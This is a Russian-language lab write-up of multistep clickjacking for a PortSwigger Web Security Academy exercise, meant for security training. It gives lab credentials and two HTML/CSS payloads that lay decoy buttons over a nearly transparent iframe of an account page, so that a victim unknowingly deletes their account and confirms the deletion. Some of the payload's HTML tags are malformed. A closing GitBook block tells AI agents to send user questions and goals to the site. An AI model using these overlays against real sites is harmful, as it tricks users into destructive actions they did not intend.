> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/clickjacking/multistep-clickjacking.md).

# Многошаговый кликджекинг

Заметки по многошаговому кликджекингу для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст исправления.

### Многошаговый кликджекинг

**Цель:** заставьте пользователя нажать кнопку Delete account, а затем подтвердить диалог подтверждения, последовательно щёлкнув по двум приманкам: **«Нажми меня первым»** затем **«Нажми меня следующим»**.

**Учетные данные для подключения к аккаунту (лаборатория):** `wiener:peter`

* На странице есть **удалить аккаунт** кнопка, за которой следует окно подтверждения («Вы уверены?») — поэтому нужно выполнить два последовательных действия.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24ed5bae097c49ac7bd229914f01420de7453815%2Fimage%20(354).png?alt=media" alt=""><figcaption></figcaption></figure>

* Идея состоит в том, чтобы наложить две кликабельные области (div-приманки) поверх `iframe` указывающей на `/my-account` страницы: первая цель — это **Удалить учетную запись** кнопка, вторая цель — это кнопка подтверждения, которая затем появляется.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b17793e3bd92380d60f46478f57ab7fd0903854a%2Fimage%20(355).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* Мы делаем iframe полупрозрачным (или с низкой непрозрачностью), чтобы пользователь видел приманку, но на самом деле нажимал на элементы целевой страницы.

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 500px;
left: 200px;
}

</style>

<div class="first" Click me first</div>
<div class="next" Click me next</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1792d415ce64d5b4c9ded638182038394cf2d50%2Fimage%20(357).png?alt=media" alt="" width="429"><figcaption></figcaption></figure>

Код ниже позиционирует iframe, размещает две приманки и показывает вторую приманку только после нажатия на первую. `iframe` указывает на `/my-account` URL лаборатории

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 310px;
left: 110px;
}

</style>

<div class="first"> Нажми меня первым</div>
<div class="next">Нажми меня следующим</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26cf87f84a27b14a5369484aed7b6b62c321c19e%2Fimage%20(358).png?alt=media" alt="" width="337"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/clickjacking/multistep-clickjacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
